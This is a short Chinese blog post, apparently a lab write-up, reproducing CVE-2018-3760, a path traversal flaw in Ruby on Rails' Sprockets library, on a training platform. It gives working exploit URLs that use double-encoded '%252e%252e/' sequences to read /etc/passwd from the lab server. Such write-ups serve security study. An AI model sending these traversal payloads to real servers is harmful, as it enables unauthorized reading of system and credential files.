代码改变世界

CVE-2018-3760复现

2020-07-22 17:48  rnss  阅读(294)  评论(0编辑  收藏  举报

Ruby On Rails在开发环境下使用Sprockets作为静态文件服务器,Ruby On Rails是著名Ruby Web开发框架,Sprockets是编译及分发静态资源文件的Ruby库。

Sprockets 3.7.1及之前版本中,存在一处因为二次解码导致的路径穿越漏洞,攻击者可以利用%252e%252e/来跨越到根目录,读取或执行目标服务器上任意文件。

漏洞环境(墨者学院):http://219.153.49.228:49980/

 

直接访问http://219.153.49.228:49980/assets/file:%2f%2f/etc/passwd,会报错

 

 报错信息中给出了可以访问的目录,随便选择一个,使用%252e%252e/向上一级一级跳转,最终读取到passwd文件

http://219.153.49.228:49980/assets/file:%2f%2f/usr/src/blog/app/assets/config/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd

 参考文章:https://blog.csdn.net/qq_42357070/article/details/83545100